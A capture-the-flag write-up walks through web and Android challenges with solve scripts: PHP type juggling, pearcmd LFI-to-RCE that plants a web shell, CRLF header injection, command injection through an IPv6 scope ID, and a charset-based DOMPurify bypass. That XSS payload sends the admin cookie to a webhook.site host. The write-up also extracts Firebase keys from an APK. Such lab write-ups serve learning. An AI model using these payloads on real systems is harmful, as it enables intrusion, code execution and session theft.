Web

Sourceful Egg

Analysis

First you need to send a POST request with the data egg to access inside the if block.

1
2
3
4
5
6
7
8
 if (isset($_POST['egg'])) {

random codes...

} else {
echo "You're not even touching the egg...?!!!<br><br>";
echo "Anyway, here's a picture of an egg <br><br><img src='img/togepi.gif'>";
}

Now inside the if block there are two functions you need to consider.

eggSecret Function

1
2
3
4
5
6
7
8
9
10
11
 $secretHash = '00e39786989574093743872279278460'; //can remove the first '0'
$eggWorthyStatus = false;

if (isset($_GET['eggSecret'])) {

if (md5($_GET['eggSecret']) == $secretHash) { <-- vulnerable condition
$eggWorthyStatus = true;
} else {
$eggWorthyStatus = false;
}
}

Php is a bit weird, if you encrypt 240610708 with hash.. the result 0e462097431906509019562988736854 will be the same as 0 but it only works in one condition, which is when using == operator.

md5(240610708) = 0e462097431906509019562988736854 = 0 (when ==)

So if we are comparing 0e462097431906509019562988736854 and 0e39786989574093743872279278460 with == it is technically true because 0 == 0

egg Function

1
2
3
4
5
6
7
8
9
10
11
$egg = $_POST['egg'];

if (preg_match("/^(.*?)+$/s", $egg)) { <-- vulnerable condition
echo "Find me the egg please";
} else {
if ($eggWorthyStatus) {
echo "You are a true egg connoisseur! Here is your egg flag: " . file_get_contents('flag.txt');
} else {
echo "Find me the egg please";
}
}

That preg_match("/^(.*?)+$/s", $egg) condition is vulnerable to ReDoS, to bypass it just spam as many AAA's as you can.

Solve Script

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

url = 'http://135.181.88.229:33722?eggSecret=240610708'
payload = 'A' * 33009

headers = {
'Content-Type': 'application/x-www-form-urlencoded',
'Content-Length': str(len(payload))
}

data = {'egg': payload}
preg_match("/^(.*?)+$/s", $egg)
response = requests.post(url, headers=headers, data=data)
print(response.text)

King Brews

Analysis

This is blackbox challenge so I can’t show you the source code.

If you press any menu, you will be sending GET request with the parameter page like so:-

http://135.181.88.229:50003/?page=about.php

Solve Script

To test if the website is vulnerable to LFI, you can try to do the good ol’ trick ../../../../

http://135.181.88.229:50003/?page=../../../../../../etc/passwd

alt text

If you somehow managed to read the /etc/passwd which is a sensitive file that means the website is vulnerable to LFI.

So now, all you need to do is find the flag, the challenge creator actually provided a hint where the flag is located.

alt text

If you hover on that button, it redirect to menu.php, so let’s try to find out how to read menu.php

You can actually chain LFI to RCE if the code allows you to include php wrapper in input or if the website has pearcmd enabled.

In this case I’m using this method instead Pearcmd LFI to RCE

1
2
3
4
5
6
7
8
9
import requests

url = "http://135.181.88.229:50003"

r1 = requests.get(f"{url}/?page=/usr/local/lib/php/pearcmd.php&+-c+/tmp/exec.php+-d+man_dir=<?echo(system($_GET['c']));?>+-s+")
print(r1.text)

r2 = requests.get(f"{url}/?page=/tmp/exec.php&c=cat+menu.php")
print(r2.text)

Secret Access (Unintended)

Analysis

We need to send both secret and code parameters using GET request.

1
2
3
if (!isset($_GET['secret']) || !isset($_GET['code'])) {
die("Missing required parameters.");
}

Right after that there are couple of header request that you need to include to follow the if condition requirement.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
if (!isset($_SERVER['HTTP_X_REMOTE_IP']) || $_SERVER['HTTP_X_REMOTE_IP'] !== '127.0.0.1') {
die("Something is not quite right...");
}

if (!isset($_SERVER['HTTP_USER_AGENT']) || $_SERVER['HTTP_USER_AGENT'] !== 'CTF-Challenge-Agent') {
die("Something is not quite right...");
}

if (!isset($_SERVER['HTTP_X_AUTH_KEY']) || !is_valid_auth_key($_SERVER['HTTP_X_AUTH_KEY'])) {
die("Something is not quite right...");
}

if (is_valid_secret($secret) && is_valid_code($code)) {
echo "Not bad! Here is your flag: [REDACTED]";
} else {
echo "Parameter value incorrect";
}

Then, you need to find out how to decode the secret value from this function, actually, the intended solution is to do php type juggling but I managed to decode everything one by one and URL Encode the values lol.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
function is_valid_secret($secret) {
$keys1 = [12, 23, 34, 45, 56, 67, 78, 89, 90]; // XOR Keys
$keys2 = [91, 82, 73, 64, 55, 46, 37, 28, 19];

$encoded_parts = [
'ND0=', 'Yz0=', 'Ij0=', 'TT0=', 'ZD0=', 'bz0=', 'dz0=', 'cj0=', 'cz0='
];

$order = [6, 8, 3, 0, 4, 7, 1, 2, 5];

$decoded_secret = '';

$reassembled = '';
foreach ($order as $index) {
$reassembled .= base64_decode($encoded_parts[$index]);
}

for ($i = 0; $i < strlen($reassembled); $i++) {
$char = ord($reassembled[$i]) ^ $keys2[$i];
$decoded_secret .= chr($char ^ $keys1[$i]);
}

echo $decoded_secret; <-- actually you can just host it locally and get the values straight away (got funny chars so url encode it is better)
return strcmp($secret, $decoded_secret) == 0;
}

The secret values you should get +x%18PBP_x-%3Dr%3Dc%3D%22%3Do%3D.

Next we have is_valid_code() function, for this one you need to do php type juggling but using empty array, so code=[].

1
2
3
function is_valid_code($code) {
return $code == 0 && $code !== '0' && $code !== 0;
}

The last function is actually to ensure that the X-AUTH-KEY header to have a specific pattern of value

1
2
3
function is_valid_auth_key($key) {
return substr($key, 0, 5) === "auth-" && strlen($key) === 10;
}
  1. substr($key, 0, 5) === "auth-" - Must start with exactly “auth-“
  2. strlen($key) === 10 - Total length must be exactly 10 characters

Solve Script

1
2
3
4
5
6
7
8
9
10
11
12
import urllib.request

url = "http://135.181.88.229:33430/?secret=%20x%18PBP_x-%3Dr%3Dc%3D%22%3Do%3D&code=[]"
headers = {
'User-Agent': 'CTF-Challenge-Agent',
'X-REMOTE-IP': '127.0.0.1',
'X-AUTH-KEY': 'auth-12345'
}

req = urllib.request.Request(url, headers=headers)
response = urllib.request.urlopen(req)
print(response.read().decode())

Vault

Analysis

When you access the website, there is a input for a Vault Sequence. The end goal of the challenge here is for you to insert a valid sequence that will eventually make the $vault_open to be true.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
require('sequence.php');
ini_set('display_errors', 0);

if ($_SERVER["REQUEST_METHOD"] === "POST") {
$vault_open = true;
$bankPin = new Sequence();
$bankPin->generateVaultRandom();

$user = $_POST['sequence'] ?? '';

if (!($base64DecodedSequence = base64_decode($user))) {
echo("DANGER ABORTING");
die();
}

if (!($validSequence = unserialize($base64DecodedSequence))) {
echo("NOT A VALID SEQUENCE");
die();
}

if (!($validSequence instanceof Sequence)) {
echo "NOT A VALID SEQUENCE";
die();
}

for ($x = 0; $x < 10; $x++) {
$validSequence->vaultCreds = $bankPin->vaultCreds; //set as bank creds
}

for ($z = 0; $z < 10; $z++) {
if ($validSequence->vaultCreds[$z] !== $validSequence->guardCreds[$z]) {
$vault_open = false;
}
}

}
?>

First step, is to send a POST request with the parameter of sequence, the value must be encoded in base64, if it is empty it will show the DANGER ABORTING output.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if ($_SERVER["REQUEST_METHOD"] === "POST") {
$vault_open = true;
$bankPin = new Sequence();
$bankPin->generateVaultRandom();

$user = $_POST['sequence'] ?? '';

if (!($base64DecodedSequence = base64_decode($user))) {
echo("DANGER ABORTING");
die();
}

...
?>

Here, after decoding it from base64, it will check whether your input is in a form of php serialization format

1
2
3
4
5
6
7
8
9
 if (!($validSequence = unserialize($base64DecodedSequence))) {
echo("NOT A VALID SEQUENCE");
die();
}

if (!($validSequence instanceof Sequence)) {
echo "NOT A VALID SEQUENCE";
die();
}

To make a valid php serialization format that is an instance of sequence, we need to follow the sequence class that is created inside sequence.php as follows.

1
2
3
4
5
6
7
8
9
10
11
12
class Sequence { // name of class "Sequence" with 8 characters
public $vaultCreds; // 1st property with 10 characters
public $guardCreds; // 2nd property with 10 characters

public function generateVaultRandom()
{
for ($x = 0; $x < 10; $x++) {
$randomNumber = random_int(0, 999999999);
$this->vaultCreds[] = $randomNumber;
}
}
}

Object Part

O:8:"Sequence":2

  • O = Object
  • 8 = Length of class name
  • “Sequence” = Class name
  • 2 = Number of properties

Sequence Part

{s:10:"vaultCreds";a:0:{}s:10:"guardCreds";a:0:{}}

First property:

  • s:10:”vaultCreds” = Property name
  • a:0:{} = Empty array with the size of 10

Second property:

  • s:10:”guardCreds” = Property name
  • a:0:{} = Empty array with the size of 10

Combining both parts together now we have a valid sequence!
O:8:"Sequence":2{s:10:"vaultCreds";a:0:{}s:10:"guardCreds";a:0:{}}

Then the value of vaultCreds from bankPin object will randomly generated and assigned to the property vaultCreds of validSequence object.

1
2
3
for ($x = 0; $x < 10; $x++) {
$validSequence->vaultCreds = $bankPin->vaultCreds; //set as bank creds
}

Lastly, it will compare the values of vaultCreds to guardCreds.

1
2
3
4
5
6
 for ($z = 0; $z < 10; $z++) {
if ($validSequence->vaultCreds[$z] !== $validSequence->guardCreds[$z]) {
$vault_open = false;
}
}

The exploit here is actually to point the property of guardCreds to vaultCreds, therefore regardless what will happen to the value of vaultCreds, eventually it will always be the same as guardCreds, since guardCreds is pointing to vaultCreds :))

O:8:"Sequence":2:{s:10:"vaultCreds";a:0:{}s:10:"guardCreds";R:2;}

Don’t forget to encode it in base64!

Protecc

Analysis

This website is running on flask, and at first glance, I thought it is related to XSS since the input looks like it is reflected to the page like so

But upon further research, I guess I was wrong because of Jinja2’s autoescaping input which means that any special characters like <, >, &, ", etc. will be converted to HTML entities, plus there is no bots in the source code provided.

1
return render_template('index.html', protectionName=setName)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<body class="bg-gray-100 text-black dark:bg-gray-900 dark:text-white">
<div class="container mx-auto p-8">
<h1 class="mb-4 text-2xl font-bold">Name yo own protection</h1>
<form action="/" method="get" class="space-y-4">
<div>...</div>
<button
type="submit"
class="rounded-lg bg-blue-500 px-4 py-2 text-center text-base font-semibold text-white shadow-md transition duration-200 ease-in hover:bg-blue-700 focus:outline-none focus:ring-2 focus:ring-blue-500 focus:ring-offset-2 focus:ring-offset-blue-200"
>
Set Protection
</button>
{% if protectionName %}

<div class="mt-4 w-full text-lg font-semibold">
Protection set to: {{ protectionName }}
</div>
{% endif %}

<div class="mx-auto mt-8">...</div>
</form>
</div>
</body>

So let’s try to analyze the the app.py and see what we can find.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@app.route('/verifier', methods=['GET'])
def verifier():
# To verify if everything is working as intended
input = request.args.get('input', '')

if input is not None and input != "":

response = requests.get(f"http://localhost:{port}/?setName=" + input)
xssProtection = response.headers.get('X-XSS-Protection')
RCEProtection = response.headers.get('Protection-RCE')
SecretProtection = response.headers.get('Protection-Secret')

# While we are it, let's add an admin check too for easy access.
adminCheck = response.headers.get('admin')

print(response.headers)

if all(header is not None and header != "" for header in [xssProtection, RCEProtection, SecretProtection]) and adminCheck == 'true':
return render_template('verifier.html', result="Wow you're an expert in protection! Here's your flag: " + flag)

return render_template('verifier.html', result="It's secure... I guess...?")
else:
return render_template('verifier.html', result="Please give me a recipe for the best protection")

So at /verifier endpoint, if we want the website to render the flag, we need to send in an input which is the value of setName parameter, that will eventually make the server to give response with these headers:-

  1. X-XSS-Protection: 1
  2. Protection-RCE: 1
  3. Protection-Secret: 1
  4. admin: true

Any order is fine, and the value can be anything, EXCEPT for admin, the value must be true.

The question here is, is it possible for us to modify the response header to meet the conditions?

Well, thanks to / endpoint there is a default function that allows us to inject our input to the response headers!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@app.route('/')
def default():

headers = {
'X-Content-Type-Options': 'nosniff',
'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
'Referrer-Policy': 'no-referrer',
'Feature-Policy': "geolocation 'self'; microphone 'none'; camera 'none'",
}

protectionHeader: dict[str, str | bytes] = dict(headers)

setName = request.args.get('setName', '')

if filter(setName) == False:
return 'Hacking attempt...s?'
else:
setName = filter(setName)

if setName is not None and setName != "":

defaultProtectionValue = "1"
protectionHeader['X-XSS-Protection'] = defaultProtectionValue
protectionHeader['Protection-' + setName] = defaultProtectionValue

return render_template('index.html', protectionName=setName), protectionHeader

Let’s try to understand it bit by bit. By default, if we send just an empty string. These response headers will be included in the output for sure.

1
2
3
4
5
6
headers = {
'X-Content-Type-Options': 'nosniff',
'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
'Referrer-Policy': 'no-referrer',
'Feature-Policy': "geolocation 'self'; microphone 'none'; camera 'none'",
}
1
2
3
4
5
6
7
8
HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.20
Date: Mon, 27 Jan 2025 16:53:27 GMT
X-Content-Type-Options: nosniff <------------ focus from here
Strict-Transport-Security: max-age=31536000; includeSubDomains
Referrer-Policy: no-referrer
'Feature-Policy': "geolocation 'self'; microphone 'none'; camera 'none'"
*anything else that is included by default*

Now if we input any values for setName, for example the value test, there are 2 more headers pops up in the response headers!

However, only 1 of them meet the conditions, the second response header that is included is not even inside the list of condition :T

  1. X-XSS-Protection: 1 ✅
  2. Protection-test: 1 ❌
1
2
3
4
5
6
7
8
9
10
HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.20
Date: Mon, 27 Jan 2025 16:58:35 GMT
X-Content-Type-Options: nosniff <------------ focus from here
Strict-Transport-Security: max-age=31536000; includeSubDomains
Referrer-Policy: no-referrer
Feature-Policy: geolocation 'self'; microphone 'none'; camera 'none'
X-XSS-Protection: 1 <------------ new headers that is included
Protection-test: 1
*anything else that is included by default*

So to meet the conditions we were left with 3 more response headers. How do we modify the input so that we can include all of them in the response header?

  1. X-XSS-Protection: 1 ✅
  2. Protection-RCE: 1
  3. Protection-Secret: 1
  4. admin: true

Let’s try Protection-RCE: 1 first since it is the easiest, just input RCE we don’t need to include the values : 1, since it is added by default to the last response header that is created.

  1. X-XSS-Protection: 1 ✅
  2. Protection-RCE: 1 ✅
1
2
3
4
5
6
7
8
GET /?setName=RCE HTTP/1.1

HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.20
Date: Mon, 27 Jan 2025 17:34:14 GMT
...
X-XSS-Protection: 1 ✅
Protection-RCE: 1 ✅

Now to include one more response header lets say Protection-Secret: 1, you need to find out how to create a new line in response header. In python/flask it is possible to do that by using %0d%0a.

1
2
3
4
5
6
7
8
GET /?setName=RCE%0d%0aProtection-Secret HTTP/1.1

HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.20
...
X-XSS-Protection: 1 ✅
Protection-RCE ❌
Protection-Secret: 1 ✅

But we can’t set its value to : 1 because… the char : is blacklisted :T

1
2
3
4
5
6
def filter(input):
blockedPattern = [':', 'admin', 'true']
for pattern in blockedPattern:
if pattern in input or pattern.lower() in input or pattern.upper() in input:
return False
return unquote(input)

To bypass the function just URL Encode the blacklisted characters 2 times. For non-special characters like admin can be url encoded by using this website or just create a script on python.

  1. ‘:’ will become %253A
  2. ‘admin’ will become %2561%2564%256D%2569%256E
  3. ‘true’ will become %2574%2572%2575%2565
1
2
3
4
5
6
7
8
GET /?setName=RCE%253A%201%0d%0aProtection-Secret HTTP/1.1

HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.20
...
X-XSS-Protection: 1 ✅
Protection-RCE: 1 ✅
Protection-Secret: 1 ✅

And now we are left with the last header which is admin: true. As stated before just double url encode it :))

1
2
3
4
5
6
7
8
9
GET /?setName=RCE%253A%201%0d%0a%2561%2564%256D%2569%256E%253A%20%2574%2572%2575%2565%0d%0aProtection-Secret HTTP/1.1

HTTP/1.1 200 OK
Server: Werkzeug/3.0.6 Python/3.8.20
...
X-XSS-Protection: 1 ✅
Protection-RCE: 1 ✅
admin: true
Protection-Secret: 1 ✅

Just for your information the payload that we are using right now will only work if we directly put it inside the input form and not at the URL, both input form and URL process the payload differently, for example browsers usually auto-encoding special characters again at the URL. :T

Ping as a Service

Analysis

This website is really simple, nothing crazy going on…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
import subprocess
import ipaddress
from flask import Flask, request, render_template

app = Flask(__name__)

@app.route('/', methods=['GET', 'OPTIONS'])
def ping():
user_supplied_IP = request.args.get('IP', '')
try:
myIPaddress = ipaddress.ip_address(user_supplied_IP)
except ValueError:
custom_error_msg = 'You supplied an invalid IP address'
return render_template('index.html', result=custom_error_msg)

command_to_execute = f'ping -c 2 {myIPaddress}'
print(command_to_execute, flush=True)
try:
results = subprocess.check_output(['/bin/sh', '-c', command_to_execute], timeout=8)
return render_template('index.html', result=results.decode('utf-8'))
except subprocess.TimeoutExpired:
custom_error_msg = 'Request Timed Out!'
return render_template('index.html', result=custom_error_msg)
except subprocess.CalledProcessError:
custom_error_msg = 'An error occured'
return render_template('index.html', result=custom_error_msg)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5004)

At first glance, it looks like the website is vulnerable to command injection due to this part of code. It directly uses the IP parameter and append it at the end of the command ping -c 2 {IP here}.

1
2
3
4
5
6
7
8
9
10
def ping():
user_supplied_IP = request.args.get('IP', '')
try:
myIPaddress = ipaddress.ip_address(user_supplied_IP)
except ValueError:
custom_error_msg = 'You supplied an invalid IP address'
return render_template('index.html', result=custom_error_msg)

command_to_execute = f'ping -c 2 {myIPaddress}'
print(command_to_execute, flush=True)

Technically, if I try to send in input like 127.0.0.1; whoami. It should execute the first command which is to ping 127.0.0.1 and then proceed with the second command whoami right..? Welp it doesn’t work at all, I keep on getting You supplied an invalid IP address.

This is because of the ipaddress.ipaddress() function finds out that all of the IPv4 Address that we are trying to ping looks funny, in returns, gives us the ValueError output.

1
myIPaddress = ipaddress.ip_address(user_supplied_IP)

I myself not a fan of reading docs, but decided to read it again and luckily this time found something suspicious.

Optionally, the string may also have a scope zone ID, expressed with a suffix %scope_id. If present, the scope ID must be non-empty, and may not contain %. See RFC 4007 for details. For example, fe80::1234%1 might identify address fe80::1234 on the first link of the node.

Therefore, I try to use IPv6 address together with a scope zone ID something like this request 2001:db8::1%1; ls (without knowing the functionality of it ofc) and somehow it accepts the input together with the command injection payload :))

Impossible XSS

Analysis

Looking at the tree structure of the website, I noticed that there is bot.js, and inside it there is a puppeteer library included, therefore there is a high chance that this challenge is related to XSS.

Puppeteer is a headless browser automation tool that can simulate real browser interactions. In CTF challenges, it is commonly used to simulate an admin bot.

1
2
3
4
5
6
7
8
9
.
├── docker-compose.yml
├── Dockerfile
└── app
├── app.js
├── bot.js
└── package.json

3 directories, 10 files

This website has 2 endpoints that we can visit

  1. /
  2. /report

At / endpoint which is most likely where the XSS vulnerability occur because there are no other place where we can reflect our input.

1
2
3
4
5
6
7
8
9
10
fastify.get("/", (request, reply) => {
const userInput = request.query.input || "Enter your input in /?input=here";

const window = new JSDOM("").window;
const DOMPurify = createDOMPurify(window);
const clean = DOMPurify.sanitize(userInput);
console.log(clean);

reply.status(200).header("Content-Type", "text/html").send(clean);
});

I actually got stuck here for a couple of days because I can’t find any payload that can somehow pop an alert here because of the DOMPurify sanitization function.

Then I start to google information that is related to DOMPurify bypass and turns out that the only way for me to pop an alert is by finding 0 day for that specific library 💀.

DOMPurify Misconfig

I find that really impossible so I start digging for more information and come across this article by Seokchan Yoon.

Turns out there is actually a possibility to bypass DOMPurify ONLY IF the developer misused/misconfigured the function.

But again if you take a look at the source code, it is way too simple that you couldn’t even find out what is misconfigured :T

1
2
3
4
5
6
const window = new JSDOM("").window;
const DOMPurify = createDOMPurify(window);
const clean = DOMPurify.sanitize(userInput);
console.log(clean);

reply.status(200).header("Content-Type", "text/html").send(clean);

So I started asking for hint:-

  1. Is it related to mXSS?

  1. Which then lead to another hint :)

Content Type Header Exploit

If you take a look at this code snippet right here, the Content-Type is actually missing something, which is charset initialization.

1
reply.status(200).header("Content-Type", "text/html").send(clean);
1
2
3
4
GET /?input=test HTTP/1.1

HTTP/1.1 200 OK
content-type: text/html

Usually it is set to UTF-8, but lucky for us here the developer forgot to set it, therefore we can use any type of encoding we want to break the HTML context.

We can try to replicate this brilliant example here by Stefan Schiller.

1
GET /?input=<img alt="test1"><img alt="test2">

So technically our payload here isn’t breaking any rules of DOMPurify so it will not sanitize anything.

To change the charset from ASCII / ISO-2022-JP (on default) to something else like JIS X 0208 1978 we need to use the escape sequence which is url encoded like-so %1B, following with a specific value $@ to make the browser ‘sniff’ and decode all bytes with JIS X 0208 1978. So combine both of them it will be like this %1B$@.

Now what we can do here is insert the escape sequence inside the alt attribute value just to see if it managed to break the HTML context.

1
GET /?input=<img alt="%1B$@">

As you can see here it definitely did, even the DOMPurify can’t sanitize this payload, by right it should’ve enclosed the img tag like so <img alt="%1B$@">. However, the escape sequence value ends up consuming both the closing double quote and the closing angle bracket.

We are getting close, so now we need to change the charset from JIS X 0208 1978 back to ASCII / ISO-2022-JP using this escape sequence, %1B followed with this value (B, to enable us to inject the rest of the ASCII payload in this case we will be using onerror attribute to pop an alert.

1
GET /?input=<img alt="%1B$@">%1B(B<img alt=" src=x onerror=alert('yo')//">

Let me explain the second part of the payload %1B(B<img alt=" src=x onerror=alert('yo')//">

  1. %1B(B - to ‘sniff’ the browser back to ASCII / ISO-2022-JP
  2. alt=" - why alt with one tag? because to enclose the consumed double quotes from the previous escape sequence trick
  3. src=x - intentionally fires the onerror attribute after since x is invalid url/image
  4. onerror=alert('yo') - pop an alert box :)
  5. // - is used to comment out the rest of the payload because, the first image tag is not closed
  6. " - is used to close the second image alt attribute values
  7. > - to close the rest of second img tag

Finally, it works!

Solve Script

Now steal the cookie from admin by reporting the payload to /report endpoint by using webhook.

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /report HTTP/1.1
Host: localhost:7888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 236
Cookie: PHPSESSID=7rp218t2ljq7ni76inbto66cv1
Upgrade-Insecure-Requests: 1
Priority: u=0, i

url=%3Cimg+alt%3D%22%251B%24%40%22%3E%251B%28B+%3Cimg+alt%3D%22src%3Dx+onerror%3D%27fetch%28%60https%3A%2F%2Fwebhook.site%2F030e0794-2b99-41c3-96e6-b920e2f5634c%3Fc%3D%24%7BencodeURIComponent%28document.cookie%29%7D%60%29%27%2F%2F%22%3E

References

  1. https://new-blog.ch4n3.kr/bypassing-dompurify-possibilities
  2. https://x.com/kevin_mizu/status/1733086824518787473
  3. https://www.sonarsource.com/blog/encoding-differentials-why-charset-matters/#technique-2-breaking-html-context
  4. https://x.com/terjanq/status/1876654801397911931

Mobile

Who’s that Pukimon

First off, try to get the source code of the apk by either unzipping normally or you can use MobSF Framework.

Analyzing the source codes, there are 7 potential activities files

  1. io.eqctf.pukimon.MainActivity
  2. com.google.firebase.auth.internal.GenericIdpActivity
  3. com.google.firebase.auth.internal.RecaptchaActivity
  4. androidx.credentials.playservices.HiddenActivity
  5. com.google.android.gms.auth.api.signin.internal.SignInHubActivity
  6. com.google.android.gms.common.api.GoogleApiActivity
  7. com.google.android.play.core.common.PlayCoreDialogWrapperActivity

By looking at the names io.eqctf.pukimon.MainActivity is definitely the MainActivity file and apart from that com.google.firebase.auth.internal.GenericIdpActivity and com.google.firebase.auth.internal.RecaptchaActivity gives us a clear view that this apk is using Firebase as its database.

Content of MainActivityKt.java

So this file can be found inside io.eqctf.pukimon.MainActivity, I prompted it to gpt cuz I’m bad at reading code.

This function here checks if our input converted to hex matches the value 5368726f6f6d6973686965.

Convert Hex to ASCII
5368726f6f6d6973686965 == Shroomishie

1
2
3
4
5
6
7
8
9
10
11
12
private static final boolean a(String str) {
byte[] bytes = str.getBytes(Charsets.UTF_8);
if (Intrinsics.areEqual(ArraysKt.joinToString$default(bytes, "", null, null, 0, null,
new Function1() {
public final Object invoke(Object obj) {
return MainActivityKt.a$lambda$3(((Byte) obj).byteValue());
}
}, 30, null), "5368726f6f6d6973686965")) {
return true;
}
return false;
}

When correctly guessed, it logs the flag, you can retrieve the value either by reading the source code or by using adb logcat command.

1
2
byte[] decode = Base64.decode("AEUAUQBDAFQARgB7ADEAVABzAF8AUwBoAHIAMABvAE0AcgAxAHMASABpAEUAIQAhACEAIQB9", 0);
Log.d("Flag", "Congratz on guessing the pokemon: ".concat(new String(decode, Charsets.UTF_8)));

Capture that Pukimon

This challenge you need to intercept the request that the mobile is making to Firebase. How do I know that it is making some kind of communication to Firebase?

Inside the same file if your input is correct which is Shroomishie it will take that input and use it as a path to fetch data from Firebase

1
2
3
4
5
6
private static final boolean a(String str, final Function1<? super String, Unit> function1) {
DatabaseReference reference = FirebaseDatabase.getInstance().getReference(str);
Intrinsics.checkNotNullExpressionValue(reference, "getReference(...)");
Task<DataSnapshot> task = reference.get();
// ... event handlers for success/failure
}

So to intercept the communication just use proxy tools like Burp Suite or HTTPToolkit but you need to remember… that the traffic is using websocket and not HTTP.

As you can see here there is a GET request to s-usc1f-nss-2568.firebaseio.com , just take a look at the responses, the flag is in one of em.

alt text

Cook that Pukimon

Lastly if you use apktool to decompile the apk, you noticed that there is strings.xml inside res/values.

If you take a look inside it, there are a couple of sensitive information inside it.

1
2
3
4
5
<string name="gcm_defaultSenderId">402409561826</string>
<string name="google_api_key">AIzaSyBKr-_5vWCd4wT0Q9W50vWtaA7meeCYcss</string>
<string name="google_app_id">1:402409561826:android:e9d44b894477f95e6f88bb</string>
<string name="google_crash_reporting_api_key">AIzaSyBKr-_5vWCd4wT0Q9W50vWtaA7meeCYcss</string>
<string name="google_storage_bucket">eqctf-pukimon1.firebasestorage.app</string>

Now for this part I need refer to someone else writeups to understand how to connect to Firebase since I have no experience in using it. Inside the article there is a dart script that will be able to extract informations from the database.

Here is my own script, I prefer to use JS instead.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
const { initializeApp } = require("firebase/app");
const { getDatabase, ref, get } = require("firebase/database");
const { getAuth, signInAnonymously } = require("firebase/auth");

const firebaseConfig = {
apiKey: "AIzaSyBKr-_5vWCd4wT0Q9W50vWtaA7meeCYcss",
authDomain: "eqctf-pukimon1.firebaseapp.com",
databaseURL: "https://eqctf-pukimon1-default-rtdb.firebaseio.com",
projectId: "eqctf-pukimon1",
storageBucket: "eqctf-pukimon1.firebasestorage.app",
messagingSenderId: "402409561826",
appId: "1:402409561826:android:e9d44b894477f95e6f88bb",
};

const app = initializeApp(firebaseConfig);
const database = getDatabase(app);
const auth = getAuth(app);

async function readData() {
try {
await signInAnonymously(auth);
const dbRef = ref(database);
const snapshot = await get(dbRef);

if (snapshot.exists()) {
console.log("Data from database:", snapshot.val());
} else {
console.log("No data available");
}
} catch (error) {
console.error("Error:", error);
}
}

readData();